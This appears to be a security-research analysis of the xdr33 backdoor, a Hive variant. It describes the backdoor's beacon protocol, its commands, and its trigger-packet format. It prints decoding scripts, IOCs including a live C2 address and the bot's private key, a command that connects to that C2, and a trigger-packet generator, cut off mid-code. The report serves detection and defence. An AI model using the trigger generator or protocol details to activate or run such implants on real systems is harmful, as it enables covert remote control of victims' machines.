<p><a href="__GHOST_URL__/content/images/2022/12/hive_main.png"><img src="__GHOST_URL__/content/images/2022/12/hive_main.png" class="kg-image"/></a></p>
<p>The following article mainly analyzes the implementation of Beacon and Trigger from the perspective of binary inversion; at the same time, we also compare and analyze the source code to see what changes have occurred.</p>
<h1 id="decrypting-configuration-information">Decrypting configuration information</h1>
<p>xdr33 decodes the configuration information by the following code snippet decode_str, its logic is very simple, i.e., byte-by-byte inverse.</p>
<p><a href="__GHOST_URL__/content/images/2022/12/hive_decode.png"><img src="__GHOST_URL__/content/images/2022/12/hive_decode.png" class="kg-image"/></a></p>
<p>In IDA you can see that decode_str has a lot of cross-references, 152 in total. To assist in the analysis, we implemented the IDAPython script Decode_RES in the appendix to decrypt the configuration information.</p>
<p><a href="__GHOST_URL__/content/images/2022/12/hive_idaxref.png"><img src="__GHOST_URL__/content/images/2022/12/hive_idaxref.png" class="kg-image"/></a></p>
<p>The decryption results are shown below, including Beacon C2 <code>45.9.150.144</code>, runtime prompt messages, commands to view device information, etc.</p>
<p><a href="__GHOST_URL__/content/images/2022/12/hive_config.png"><img src="__GHOST_URL__/content/images/2022/12/hive_config.png" class="kg-image"/></a></p>
<h1 id="beacon-task">Beacon Task</h1>
<p>The main function of Beacon is to periodically collect PID, MAC, SystemUpTime, process and network related device information; then use bzip, XTEA algorithm to compress and encrypt the device information, and report to C2; finally wait for the execution of the commands issued by C2.</p>
<h2 id="0x01-information-collection">0x01: Information Collection</h2>
<ul>
<li>
<p>MAC</p>
<p>Query MAC by <code>SIOCGIFCON</code> or <code>SIOCGIFHWADDR</code></p>
<p><a href="__GHOST_URL__/content/images/2022/12/hive_mac-1.png"><img src="__GHOST_URL__/content/images/2022/12/hive_mac-1.png" class="kg-image"/></a></p>
</li>
<li>
<p>SystemUpTime</p>
<p>Collects system up time via /proc/uptime</p>
<p><a href="__GHOST_URL__/content/images/2022/12/hive_uptime.png"><img src="__GHOST_URL__/content/images/2022/12/hive_uptime.png" class="kg-image"/></a></p>
</li>
<li>
<p>Process and network-related information</p>
<p>Collect process, NIC, network connection, and routing information by executing the following 4 commands</p>
<p><a href="__GHOST_URL__/content/images/2022/12/hive_netinfo.png"><img src="__GHOST_URL__/content/images/2022/12/hive_netinfo.png" class="kg-image"/></a></p>
</li>
</ul>
<h2 id="0x02-information-processing">0x02: Information processing</h2>
<p>Xdr33 combines different device information through the update_msg function</p>
<p><a href="__GHOST_URL__/content/images/2022/12/hive_compose.png"><img src="__GHOST_URL__/content/images/2022/12/hive_compose.png" class="kg-image"/></a></p>
<p>In order to distinguish different device information, Hive designed ADD_HDR, which is defined as follows, and "3, 4, 5, 6" in the above figure represents different Header Type.</p>
<pre><code>typedef struct __attribute__ ((packed)) add_header {
unsigned short type;
unsigned short length;
} ADD_HDR;
</code></pre>
<p>What does "3, 4, 5, 6" represent exactly? This depends on the definition of Header Types in the source code below. xdr33 is extended on this basis, with two new values 0 and 9, representing <code>Sha1[:32] of MAC</code>, and <code>PID of xdr33</code> respectively</p>
<p><a href="__GHOST_URL__/content/images/2022/12/hive_type.png"><img src="__GHOST_URL__/content/images/2022/12/hive_type.png" class="kg-image"/></a></p>
<p>Some of the information collected by xdr32 in the virtual machine is shown below, and it can be seen that it contains the device information with head type 0,1,2,7,9,3.<br>
<a href="__GHOST_URL__/content/images/2022/12/hive_deviceinfo.png"><img src="__GHOST_URL__/content/images/2022/12/hive_deviceinfo.png" class="kg-image"/></a></p>
<p>It is worth mentioning that type=0, <code>Sha1[:32] of MAC</code>, which means that it takes the first 32 bytes of MAC SHA1. Take the mac in the above figure as an example, its calculation process is as follows.</p>
<pre><code>mac:00-0c-29-94-d9-43,remove "-"
result:00 0c 29 94 d9 43
sha1 of mac:
result:c55c77695b6fd5c24b0cf7ccce3e464034b20805
sha1[:32] of mac:
result:c55c77695b6fd5c24b0cf7ccce3e4640
</code></pre>
<p>When all the device information is combined, use bzip to compress it and add 2 bytes of <code>beacon_header_version</code> and 2 bytes of OS information in the header.<br>
<a href="__GHOST_URL__/content/images/2023/01/hive_devicebzip.png"><img src="__GHOST_URL__/content/images/2023/01/hive_devicebzip.png" class="kg-image"/></a></p>
<h2 id="0x03-network-communication">0x03: Network Communication</h2>
<p>The communication process between xdr33 and Beacon C2 contains the following 4 steps, and the details of each step will be analyzed in detail below.</p>
<ul>
<li>Two-way SSL authentication</li>
<li>Obtain XTEA key</li>
<li>Report XTEA encrypted device information to C2</li>
<li>Execute the commands sent by C2</li>
</ul>
<h3 id="step1-two-way-ssl-authentication">Step1: Two-way SSL Authentication</h3>
<p>Two-way SSL authentication requires Bot and C2 to confirm each other's identity, from the network traffic level, it is obvious that Bot and C2 request each other's certificate and verify the process.<br>
<a href="__GHOST_URL__/content/images/2022/12/hive_certi.png"><img src="__GHOST_URL__/content/images/2022/12/hive_certi.png" class="kg-image"/></a></p>
<p>The author of xdr33 uses the kaspersky.conf and thawte.conf templates in the source repository to generate the required Bot certificate, C2 certificate and CA certificate.<br>
<a href="__GHOST_URL__/content/images/2022/12/hive_certconf.png"><img src="__GHOST_URL__/content/images/2022/12/hive_certconf.png" class="kg-image"/></a></p>
<p>The CA certificate, Bot certificate and PrivKey are hardcoded in xdr32 in DER format.<br>
<a href="__GHOST_URL__/content/images/2022/12/hive_sslsock.png"><img src="__GHOST_URL__/content/images/2022/12/hive_sslsock.png" class="kg-image"/></a></p>
<p>The Bot certificate can be viewed using <code>openssl x509 -in Cert -inform DER -noout -text</code>, where CN=xdr33, which is where the family name comes from.<br>
<a href="__GHOST_URL__/content/images/2022/12/hive_botcert.png"><img src="__GHOST_URL__/content/images/2022/12/hive_botcert.png" class="kg-image"/></a></p>
<p>You can use <code>openssl s_client -connect 45.9.150.144:443</code> to see the C2 certificate. bot, C2 certificates are disguised as being related to kaspersky, reducing the suspiciousness of network traffic in this way.</p>
<p><a href="__GHOST_URL__/content/images/2022/12/hive_c2cert.png"><img src="__GHOST_URL__/content/images/2022/12/hive_c2cert.png" class="kg-image"/></a></p>
<p>The CA certificates are shown below. From the validity of the 3 certificates, we presume that the start of this activity is after 2022.10.7.<br>
<a href="__GHOST_URL__/content/images/2022/12/hive_ca.png"><img src="__GHOST_URL__/content/images/2022/12/hive_ca.png" class="kg-image"/></a></p>
<h3 id="step2-obtain-xtea-key">Step2: Obtain XTEA key</h3>
<p>After establishing SSL communication between Bot and C2, Bot requests XTEA key from C2 via the following code snippet.<br>
<a href="__GHOST_URL__/content/images/2023/01/hive_teakey.png"><img src="__GHOST_URL__/content/images/2023/01/hive_teakey.png" class="kg-image"/></a></p>
<p>The processing logic is.</p>
<ol>
<li>
<p>Bot sends 64 bytes of data to C2 in the format of "length of device information length string (xor 5) + device information length string (xor 5) + random data".</p>
</li>
<li>
<p>Bot receives 32 bytes of data from C2 and gets 16 bytes of XTEA KEY from it, the equivalent python code to get the KEY is as follows.</p>
<pre><code>XOR_KEY=5
def get_key(rand_bytes):
offset = (ord(rand_bytes[0]) ^ XOR_KEY) % 15
return rand_bytes[(offset+1):(offset+17)]
</code></pre>
</li>
</ol>
<h3 id="step3-report-xtea-encrypted-device-information-to-c2">Step3: Report XTEA encrypted device information to C2</h3>
<p>Bot uses the XTEA KEY obtained from Step2 to encrypt the device information and report it to C2. since the device information is large, it usually needs to be sent in chunks, Bot sends up to 4052 bytes at a time, and C2 replies with the number of bytes it has accepted.<br>
<a href="__GHOST_URL__/content/images/2023/01/hive_teadevice.png"><img src="__GHOST_URL__/content/images/2023/01/hive_teadevice.png" class="kg-image"/></a></p>
<p>It is also worth mentioning that XTEA encryption is only used in Step3, and the subsequent Step4 only uses the SSL-negotiated encryption suite for network traffic, and no longer uses XTEA.</p>
<h3 id="step4-waiting-for-execution-command-new-function-added-by-xdr33">Step4: Waiting for execution command (new function added by xdr33)</h3>
<p>After the device information is reported, C2 sends 8 bytes of task number N of this cycle to Bot, if N is equal to 0, it will sleep for a certain time and enter the next cycle of Beacon Task; if not, it will send 264 bytes of task. bot receives the task, parses it, and executes the corresponding instruction.<br>
<a href="__GHOST_URL__/content/images/2023/01/hive_beaconwaitcmd.png"><img src="__GHOST_URL__/content/images/2023/01/hive_beaconwaitcmd.png" class="kg-image"/></a></p>
<p>The supported instructions are shown in the following table.</p>
<table>
<thead>
<tr>
<th>Index</th>
<th>Function</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x01</td>
<td>Download File</td>
</tr>
<tr>
<td>0x02</td>
<td>Execute CMD with fake name "[kworker/3:1-events]"</td>
</tr>
<tr>
<td>0x03</td>
<td>Update</td>
</tr>
<tr>
<td>0x04</td>
<td>Upload File</td>
</tr>
<tr>
<td>0x05</td>
<td>Delete</td>
</tr>
<tr>
<td>0x08</td>
<td>Launch Shell</td>
</tr>
<tr>
<td>0x09</td>
<td>Socket5 Proxy</td>
</tr>
<tr>
<td>0x0b</td>
<td>Update BEACONINFO</td>
</tr>
</tbody>
</table>
<h2 id="network-traffic-example">Network Traffic Example</h2>
<h3 id="the-actual-step2-traffic-generated-by-xdr33">The actual step2 traffic generated by xdr33</h3>
<p><a href="__GHOST_URL__/content/images/2023/01/hive_packet.png"><img src="__GHOST_URL__/content/images/2023/01/hive_packet.png" class="kg-image"/></a></p>
<h3 id="the-interaction-in-step3-and-the-traffic-from-step4">The interaction in step3, and the traffic from step4</h3>
<p><a href="__GHOST_URL__/content/images/2023/01/hive_packetB.png"><img src="__GHOST_URL__/content/images/2023/01/hive_packetB.png" class="kg-image"/></a></p>
<h3 id="what-information-can-we-get-from-this%EF%BC%9F">What information can we get from this??</h3>
<ol>
<li>
<p>The length of the device information length string, <code>0x1 ^ 0x5 = 0x4</code></p>
</li>
<li>
<p>The length of the device information, 0x31,0x32,0x37,0x35 respectively xor 5 gives 4720</p>
</li>
<li>
<p>tea key <code>2E 09 9B 08 CF 53 BE E7 A0 BE 11 42 31 F4 45 3A</code></p>
</li>
<li>
<p>C2 will confirm the length of the device information reported by the BOT, 4052+668 = 4720, which corresponds to the second point</p>
</li>
<li>
<p>The number of tasks in this cycle is <code>00 00 00 00 00 00 00</code>, i.e. there is no task, so no specific task of 264 bytes will be issued.</p>
</li>
</ol>
<p>The encrypted device information can be decrypted by the following code, and the decrypted data is <code>00 22 00 14 42 5A 68 39</code>, which contains the <code>beacon_header_version + os + bzip magic</code>, and the previous analysis can correspond to one by one.</p>
<pre><code>import hexdump
import struct
def xtea_decrypt(key,block,n=32,endian="!"):
v0,v1 = struct.unpack(endian+"2L", block)
k = struct.unpack(endian+"4L",key)
delta,mask = 0x9e3779b9,0xffffffff
sum = (delta * n) & mask
for round in range(n):
v1 = (v1 - (((v0<<4 ^ v0>>5) + v0) ^ (sum + k[sum>>11 & 3]))) & mask
sum = (sum - delta) & mask
v0 = (v0 - (((v1<<4 ^ v1>>5) + v1) ^ (sum + k[sum & 3]))) & mask
return struct.pack(endian+"2L",v0,v1)
def decrypt_data(key,data):
size = len(data)
i = 0
ptext = b''
while i < size:
if size - i >= 8:
ptext += xtea_decrypt(key,data[i:i+8])
i += 8
return ptext
key=bytes.fromhex("""
2E 09 9B 08 CF 53 BE E7 A0 BE 11 42 31 F4 45 3A
""")
enc_buf=bytes.fromhex("""
65 d8 b1 f9 b8 37 37 eb
""")
hexdump.hexdump(decrypt_data(key,enc_buf))
</code></pre>
<h1 id="trigger-task">Trigger Task</h1>
<p>The main function of the Trigger is to listen to all traffic and wait for the Triggger IP message in a specific format. Once the message and the Trigger Payload hidden in the message pass the layers of verification, the Bot establishes communication with the C2 in the Trigger Payload and waits for the execution of the instructions sent.</p>
<h2 id="0x1-listening-for-traffic">0x1: Listening for traffic</h2>
<p>Use the function call <code>socket( PF_PACKET, SOCK_RAW, htons( ETH_P_IP ) )</code> to set RAW SOCKET to capture IP messages, and then the following code snippet to process IP messages, you can see that Tirgger supports TCP,UDP and the maximum length of message Payload is 472 bytes. This kind of traffic sniffing implementation will increase the CPU load, in fact using BPF-Filter on sockets will work better.</p>
<p><a href="__GHOST_URL__/content/images/2022/12/hive_snfpkt.png"><img src="__GHOST_URL__/content/images/2022/12/hive_snfpkt.png" class="kg-image"/></a></p>
<h2 id="0x2-checksum-trigger-packets">0x2: Checksum Trigger packets</h2>
<p>TCP and UDP messages that meet the length requirement are further verified using the same check_payload function.</p>
<p><a href="__GHOST_URL__/content/images/2022/12/hive_handxref.png"><img src="__GHOST_URL__/content/images/2022/12/hive_handxref.png" class="kg-image"/></a></p>
<p><strong>check_payload</strong>的代码如下所示:<br>
<a href="__GHOST_URL__/content/images/2022/12/hive_checkpayload.png"><img src="__GHOST_URL__/content/images/2022/12/hive_checkpayload.png" class="kg-image"/></a></p>
<p>The processing logic can be seen as follows.</p>
<ul>
<li>Use CRC16/CCITT-FALSE algorithm to calculate the CRC16 value of offset 8 to 92 in the message to get crcValue</li>
<li>The offset value of crcValue in the message is obtained by crcValue % 200+ 92, crcOffset</li>
<li>Verify whether the data at crcOffset in the message is equal to crcValue, if it is equal, go to the next step</li>
<li>Check if the data at crcOffset+2 in the message is an integer multiple of 127, if yes, go to the next step</li>
<li>Trigger_Payload is encrypted, the starting position is crcOffset+12, the length is 29 bytes. the starting position of Xor_Key is crcValue%55+8, XOR the two byte by byte, we get Trigger_Paylaod</li>
</ul>
<p>So far it can be determined that the <code>Trigger message format</code> is as follows</p>
<p><a href="__GHOST_URL__/content/images/2022/12/hive_triggerpkt-1.png"><img src="__GHOST_URL__/content/images/2022/12/hive_triggerpkt-1.png" class="kg-image"/></a></p>
<h2 id="0x3-checksum-trigger-payload">0x3: Checksum Trigger Payload</h2>
<p>If the Trigger message passes the checksum, the check_trigger function continues to check the Trigger Payload</p>
<p><a href="__GHOST_URL__/content/images/2022/12/hive_triggerfinal.png"><img src="__GHOST_URL__/content/images/2022/12/hive_triggerfinal.png" class="kg-image"/></a></p>
<p>The processing logic can be seen as follows</p>
<ul>
<li>Take the last 2 bytes of the Trigger Payload and write it as crcRaw</li>
<li>Set the last 2 bytes of the Trigger Payload to 0 and calculate its CRC16, which is called crcCalc</li>
<li>Compare crcRaw and crcCalc, if they are equal, it means that the Trigger Payload is structurally valid.</li>
</ul>
<p>Next, the SHA1 of the key in the Trigger Payload is calculated and compared with the hard-coded SHA1 <code>46a3c308401e03d3195c753caa14ef34a3806593</code> in the Bot. If it is equal, it means that the Trigger Payload is also valid in content, so we can go to the last step, establish communication with C2 in the Trigger Payload, and wait for the execution of its issued command.</p>
<p>The format of the <code>Trigger Payload</code> can be determined as follows.</p>
<p><a href="__GHOST_URL__/content/images/2022/12/hive_triggerfmt-1.png"><img src="__GHOST_URL__/content/images/2022/12/hive_triggerfmt-1.png" class="kg-image"/></a></p>
<h2 id="0x4-execution-of-trigger-c2s-command">0x4: Execution of Trigger C2's command</h2>
<p>After a Trigger message passes the checksum, the Bot actively communicates with the C2 specified in the Trigger Payload and waits for the execution of the instructions issued by the C2.</p>
<p><a href="__GHOST_URL__/content/images/2022/12/hive_triggercmd.png"><img src="__GHOST_URL__/content/images/2022/12/hive_triggercmd.png" class="kg-image"/></a></p>
<p>The supported instructions are shown in the following table.</p>
<table>
<thead>
<tr>
<th>Index</th>
<th>Function</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x00,0x00a</td>
<td>Exit</td>
</tr>
<tr>
<td>0x01</td>
<td>Download File</td>
</tr>
<tr>
<td>0x02</td>
<td>Execute CMD</td>
</tr>
<tr>
<td>0x04</td>
<td>Upload File</td>
</tr>
<tr>
<td>0x05</td>
<td>Delete</td>
</tr>
<tr>
<td>0x06</td>
<td>Shutdown</td>
</tr>
<tr>
<td>0x08</td>
<td>Launch SHELL</td>
</tr>
<tr>
<td>0x09</td>
<td>SOCKET5 PROXY</td>
</tr>
<tr>
<td>0x0b</td>
<td>Update BEACONINFO</td>
</tr>
</tbody>
</table>
<p>It is worth noting that Trigger C2 differs from Beacon C2 in the details of communication; after establishing an SSL tunnel, Bot and Trigger C2 use a Diffie-Helllman key exchange to establish a shared key, which is used in the AES algorithm to create a second layer of encryption.<br>
<a href="__GHOST_URL__/content/images/2022/12/hive_aes.png"><img src="__GHOST_URL__/content/images/2022/12/hive_aes.png" class="kg-image"/></a></p>
<h1 id="experiment">Experiment</h1>
<p>To verify the correctness of the reverse analysis of the Trigger part, we Patch the SHA1 value of xdr33, fill in the SHA1 of <code>NetlabPatched,Enjoy!</code> and implement the GenTrigger code in the appendix to generate UDP type Trigger messages.</p>
<p><a href="__GHOST_URL__/content/images/2022/12/hive_patchbylab.png"><img src="__GHOST_URL__/content/images/2022/12/hive_patchbylab.png" class="kg-image"/></a></p>
<p>We run the Patch in the virtual machine <code>192.168.159.133</code> after the xdr33 sample, the construction of C2 for <code>192.168.159.128:6666</code> Trigger Payload, and sent to 192.168.159.133 in the form of UDP. the final result is as follows, you can see the xdr33 in the implanted host after receiving the UDP Trigger message, and we expected the same, launched a communication request to the preset Trigger C2, Cool!</p>
<p><a href="__GHOST_URL__/content/images/2022/12/hive_vmware.png"><img src="__GHOST_URL__/content/images/2022/12/hive_vmware.png" class="kg-image"/></a></p>
<h1 id="contact-us">Contact us</h1>
<p>Readers are always welcomed to reach us on <a href="https://twitter.com/360Netlab">twitter</a> or email us to netlab[at]360.cn.</p>
<h1 id="ioc">IOC</h1>
<h2 id="sample">sample</h2>
<pre><code>ee07a74d12c0bb3594965b51d0e45b6f
patched sample
af5d2dfcafbb23666129600f982ecb87
</code></pre>
<h2 id="c2">C2</h2>
<pre><code>45.9.150.144:443
</code></pre>
<h2 id="bot-private-key">BOT Private Key</h2>
<pre><code>-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEA6XthqPjU3XFu8/4PMVQ4iqJbleXmXhbVWMPhY/sTndEcO5vQ
mIMNJc1mISZTNPzddXSrj0h9GJe0ix0CIZID3bHyZHLiqb/ewylFmqSOVkviG/Je
o17UAqhsNGpVu/l8FM3qCHJE7z+wBqHdwVIZMt9vLaLti2KyJV+j1F1GTk8X2jcI
4DnnVKJE81rSafzaX2JBc6J6hovFMMP9IGb2LwRQMZNtZqSus6JMolhkO0dtvxXK
yTm1k79HL3PlZdgKt6HJFoukwkWND8NNTbcBXDWWDdJ42g/1I0Z7tMkdKFgfjUut
90LXKRRuENcUrbi75L6P2FRwPnqvVv+3N25MZQIDAQABAoIBADtguG57kc8bWQdO
NljqPVLshXQyuop1Lh7b+gcuREffdVmnf745ne9eNDn8AC86m6uSV0siOUY21qCG
aRNWigsohSeMnB5lgGaLqXrxnI1P0RogYncT18ExSgtue41Jnoe/8mPhg6yAuuiE
49uVYHkyn5iwlc7b88hTcVvBuO6S7HPqqXbDEBSoKL0o60/FyPb0RKigprKooTo/
KVCRFDT6xpAGMnjZkSSBJB2cgRxQwkcyghMcLJBvsZXbYNihiXiiiwaLvk4ZeBtf
0hnb6Cty840juAIGKDiUELijd3JtVKaBy41KLrdsnC+8JU3RIVGPtPDbwGanvnCk
Ito7gqUCgYEA+MucFy8fcFJtUnOmZ1Uk3AitLua+IrIEp26IHgGaMKFA0hnGEGvb
ZmwkrFj57bGSwsWq7ZSBk8yHRP3HSjJLZZQIcnnTCQxHMXa+YvpuEKE5mQSMwnlu
YH9S2S0xQPi1yLQKjAVVt+zRuuJvMv0dOZAOfdib+3xesPv2fIBu0McCgYEA8D4/
zygeF5k4Omh0l235e08lkqLtqVLu23vJ0TVnP2LNh4rRu6viBuRW7O9tsFLng8L8
aIohdVdF/E2FnNBhnvoohs8+IeFXlD8ml4LC+QD6AcvcMGYYwLIzewODJ2d0ZbBI
hQthoAw9urezc2CLy0da7H9Jmeg26utwZJB4ZXMCgYEAyV9b/rPoeWxuCd+Ln3Wd
+O6Y5i5jVQfLlo1zZP4dBCFwqt2rn5z9H0CGymzWFhq1VCrT96pM2wkfr6rNBHQC
7LvNvoJ2WotykEmxPcG/Fny4du7k03+f5EEKGLhodlMYJ9P5+W1T/SOUefRO1vFi
FzZPVHLfhcUbi5rU3d7CUv8CgYBG82tu578zYvnbLhw42K7UfwRusRWVazvFsGJj
Ge17J9fhTtswHMwtEuSlJvTzHRjorf5TdW/6MqMlp1Ntg5FBHUo4vh3wbZeq3Zet
KV4hoesz+pv140EuL7LKgrgKPCCBI7XXLQxQ8yyL51LlIT9H8rPkopb/EDif2paf
7JbSBwKBgCY8+aO44uuR2dQm0SIUqnb0MigLRs1qcWIfDfHF9K116sGwSK4SD9vD
poCA53ffcrTi+syPiUuBJFZG7VGfWiNJ6GWs48sP5dgyBQaVq5hQofKqQAZAQ0f+
7TxBhBF4n2gc5AhJ3fQAOXZg5rgNqhAln04UAIlgQKO69fAvfzID
-----END RSA PRIVATE KEY-----
</code></pre>
<h2 id="bot-certificate">BOT Certificate</h2>
<pre><code>-----BEGIN CERTIFICATE-----
MIIFJTCCBA2gAwIBAgIBAzANBgkqhkiG9w0BAQsFADCBzjELMAkGA1UEBhMCWkEx
FTATBgNVBAgMDFdlc3Rlcm4gQ2FwZTESMBAGA1UEBwwJQ2FwZSBUb3duMR0wGwYD
VQQKDBRUaGF3dGUgQ29uc3VsdGluZyBjYzEoMCYGA1UECwwfQ2VydGlmaWNhdGlv
biBTZXJ2aWNlcyBEaXZpc2lvbjEhMB8GA1UEAwwYVGhhd3RlIFByZW1pdW0gU2Vy
dmVyIENBMSgwJgYJKoZIhvcNAQkBFhlwcmVtaXVtLXNlcnZlckB0aGF3dGUuY29t
MB4XDTIyMTAwNzE5NTAwN1oXDTIzMDMxNjE5NTAwN1owgYExCzAJBgNVBAYTAlJV
MR0wGwYDVQQKDBRLYXNwZXJza3kgTGFib3JhdG9yeTEUMBIGA1UEAwwLRW5naW5l
ZXJpbmcxDjAMBgNVBAMMBXhkcjMzMQ8wDQYDVQQIDAZNb3Njb3cxDzANBgNVBAcM
Bk1vc2NvdzELMAkGA1UECwwCSVQwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQDpe2Go+NTdcW7z/g8xVDiKoluV5eZeFtVYw+Fj+xOd0Rw7m9CYgw0lzWYh
JlM0/N11dKuPSH0Yl7SLHQIhkgPdsfJkcuKpv97DKUWapI5WS+Ib8l6jXtQCqGw0
alW7+XwUzeoIckTvP7AGod3BUhky328tou2LYrIlX6PUXUZOTxfaNwjgOedUokTz
WtJp/NpfYkFzonqGi8Uww/0gZvYvBFAxk21mpK6zokyiWGQ7R22/FcrJObWTv0cv
c+Vl2Aq3ockWi6TCRY0Pw01NtwFcNZYN0njaD/UjRnu0yR0oWB+NS633QtcpFG4Q
1xStuLvkvo/YVHA+eq9W/7c3bkxlAgMBAAGjggFXMIIBUzAMBgNVHRMBAf8EAjAA
MB0GA1UdDgQWBBRc0LAOwW4C6azovupkjX8R3V+NpjCB+wYDVR0jBIHzMIHwgBTz
BcGhW/F2gdgt/v0oYQtatP2x5aGB1KSB0TCBzjELMAkGA1UEBhMCWkExFTATBgNV
BAgMDFdlc3Rlcm4gQ2FwZTESMBAGA1UEBwwJQ2FwZSBUb3duMR0wGwYDVQQKDBRU
aGF3dGUgQ29uc3VsdGluZyBjYzEoMCYGA1UECwwfQ2VydGlmaWNhdGlvbiBTZXJ2
aWNlcyBEaXZpc2lvbjEhMB8GA1UEAwwYVGhhd3RlIFByZW1pdW0gU2VydmVyIENB
MSgwJgYJKoZIhvcNAQkBFhlwcmVtaXVtLXNlcnZlckB0aGF3dGUuY29tggEAMA4G
A1UdDwEB/wQEAwIF4DAWBgNVHSUBAf8EDDAKBggrBgEFBQcDAjANBgkqhkiG9w0B
AQsFAAOCAQEAGUPMGTtzrQetSs+w12qgyHETYp8EKKk+yh4AJSC5A4UCKbJLrsUy
qend0E3plARHozy4ruII0XBh5z3MqMnsXcxkC3YJkjX2b2EuYgyhvvIFm326s48P
o6MUSYs5CFxhhp/N0cqmqGgZL5V5evI7P8NpPcFhs7u1ryGDcK1MTtSSPNPy3F+c
d707iRXiRcLQmXQTcjmOVKrohA/kqqtdM5EUl75n9OLTinZcb/CQ9At+5Sn91AI3
ngd22cyLLC3O4F14L+hqwMd0ENSjanX38iZ2EY8hMpmNYwPOVSQZ1FpXqrkW1ArI
lHEtKB3YMeSXQHAsvBQD0AlW7R7JqHdreg==
-----END CERTIFICATE-----
</code></pre>
<h2 id="ca-certificate">CA Certificate</h2>
<pre><code>-----BEGIN CERTIFICATE-----
MIIFXTCCBEWgAwIBAgIBADANBgkqhkiG9w0BAQsFADCBzjELMAkGA1UEBhMCWkEx
FTATBgNVBAgMDFdlc3Rlcm4gQ2FwZTESMBAGA1UEBwwJQ2FwZSBUb3duMR0wGwYD
VQQKDBRUaGF3dGUgQ29uc3VsdGluZyBjYzEoMCYGA1UECwwfQ2VydGlmaWNhdGlv
biBTZXJ2aWNlcyBEaXZpc2lvbjEhMB8GA1UEAwwYVGhhd3RlIFByZW1pdW0gU2Vy
dmVyIENBMSgwJgYJKoZIhvcNAQkBFhlwcmVtaXVtLXNlcnZlckB0aGF3dGUuY29t
MB4XDTIyMTAwNzE0MTEzOFoXDTQ3MTAwMTE0MTEzOFowgc4xCzAJBgNVBAYTAlpB
MRUwEwYDVQQIDAxXZXN0ZXJuIENhcGUxEjAQBgNVBAcMCUNhcGUgVG93bjEdMBsG
A1UECgwUVGhhd3RlIENvbnN1bHRpbmcgY2MxKDAmBgNVBAsMH0NlcnRpZmljYXRp
b24gU2VydmljZXMgRGl2aXNpb24xITAfBgNVBAMMGFRoYXd0ZSBQcmVtaXVtIFNl
cnZlciBDQTEoMCYGCSqGSIb3DQEJARYZcHJlbWl1bS1zZXJ2ZXJAdGhhd3RlLmNv
bTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAMfHJIl4/Xdo896Rlyqr
3VcKnLAAqIJkpgl90Z6bxUDpwa41H3ZDa7As4ZO9xa+lXGn9XB9u34TqJPkyhSKg
3wYK02KTCwVMI/gf506KpFvocTHpScnXs0xUoxsM8qEiDV2pTe447rmyaLyWcT5d
hbzkPl0WuDmEWMhfC2R9z4+mlsbwMAy9PN/JYzxz7cR48qj4j9hhEwkJ1+yJKXBV
AV9CdgLYfJXrA7A4Hxgc0ECKJmpovskv/DlxM8RxOsHfVtyG4ZgqmRraxUelirlf
tLj0fIkLaP7xvo1QSgiqQffbBOiDg9PN3H2wezFOmeDg9RIR6qvhzhyNpZjANiiC
JzMCAwEAAaOCAUIwggE+MA8GA1UdEwEB/wQFMAMBAf8wHQYDVR0OBBYEFPMFwaFb
8XaB2C3+/ShhC1q0/bHlMIH7BgNVHSMEgfMwgfCAFPMFwaFb8XaB2C3+/ShhC1q0
/bHloYHUpIHRMIHOMQswCQYDVQQGEwJaQTEVMBMGA1UECAwMV2VzdGVybiBDYXBl
MRIwEAYDVQQHDAlDYXBlIFRvd24xHTAbBgNVBAoMFFRoYXd0ZSBDb25zdWx0aW5n
IGNjMSgwJgYDVQQLDB9DZXJ0aWZpY2F0aW9uIFNlcnZpY2VzIERpdmlzaW9uMSEw
HwYDVQQDDBhUaGF3dGUgUHJlbWl1bSBTZXJ2ZXIgQ0ExKDAmBgkqhkiG9w0BCQEW
GXByZW1pdW0tc2VydmVyQHRoYXd0ZS5jb22CAQAwDgYDVR0PAQH/BAQDAgGGMA0G
CSqGSIb3DQEBCwUAA4IBAQDBqNA1WFp15AM8l7oDgqa/YHvoGmfcs48Ak8YtrDEF
tLRyz1+hr/hhfR8Hm1hZ0oj1vAzayhCGKdQTk42mq90dG4tViNYMq4mFKmOoVnw6
u4C8BCPfxmuyNFdw9TVqTjdwWqWM84VMg3Cq3ZrEa94DMOAXm3QXcDsar7SQn5Xw
LCsU7xKJc6gwk4eNWEGxFJwS0EwPhBkt1lH4OD11jH0Ukr5rRJvh1blUiOHPd3//
kzeXNozA9PwoH4wewqk8bXZhj5ZA9LR7rm+5OrCoWXofgn1Gi2yd+LWWCrE7NBWm
yRelxOSPRSQ1fvAVvuRrCnCJgKxG/2Ba2DLs95u6IxYX
-----END CERTIFICATE-----
</code></pre>
<h1 id="%E9%99%84%E5%BD%95">附录</h1>
<h2 id="0x1-decoderes">0x1 Decode_RES</h2>
<pre><code>import idautils
import ida_bytes
def decode(addr,len):
tmp=bytearray()
buf=ida_bytes.get_bytes(addr,len)
for i in buf:
tmp.append(~i&0xff)
print("%x, %s" %(addr,bytes(tmp)))
ida_bytes.put_bytes(addr,bytes(tmp))
idc.create_strlit(addr,addr+len)
calllist=idautils.CodeRefsTo(0x0804F1D8,1)
for addr in calllist:
prev1Head=idc.prev_head(addr)
if 'push offset' in idc.generate_disasm_line(prev1Head,1) and idc.get_operand_type(prev1Head,0)==5:
bufaddr=idc.get_operand_value(prev1Head,0)
prev2Head=idc.prev_head(prev1Head)
if 'push' in idc.generate_disasm_line(prev2Head,1) and idc.get_operand_type(prev2Head,0)==5:
leng=idc.get_operand_value(prev2Head,0)
decode(bufaddr,leng)
</code></pre>
<h2 id="0x02-gentrigger">0x02 GenTrigger</h2>
<pre><code>import random
import socket
def crc16(data: bytearray, offset, length):
if data is None or offset < 0 or offset > len(data) - 1 and offset + length > len(data):
return 0
crc = 0xFFFF
for i in range(0, length):
crc ^= data[offset + i] << 8
for j in range(0, 8):
if (crc & 0x8000) > 0:
crc = (crc << 1) ^ 0x1021
else:
crc = crc << 1
return crc & 0xFFFF
def Gen_payload(ip:str,port:int):
out=bytearray()
part1=random.randbytes(92)
sum=crc16(part1,8,84)
offset1=sum % 0xc8
offset2=sum % 0x37
padding1=random.randbytes(offset1)
padding2=random.randbytes(8)
host=socket.inet_aton(ip)
C2=bytearray(b'\x01')
C2+=host
C2+=int.to_bytes(port,2,byteorder="big")
key=b'NetlabPatched,Enjoy!'
C2 = C2+key +b'\x00\x00'
c2sum=crc16(C2,0,29)
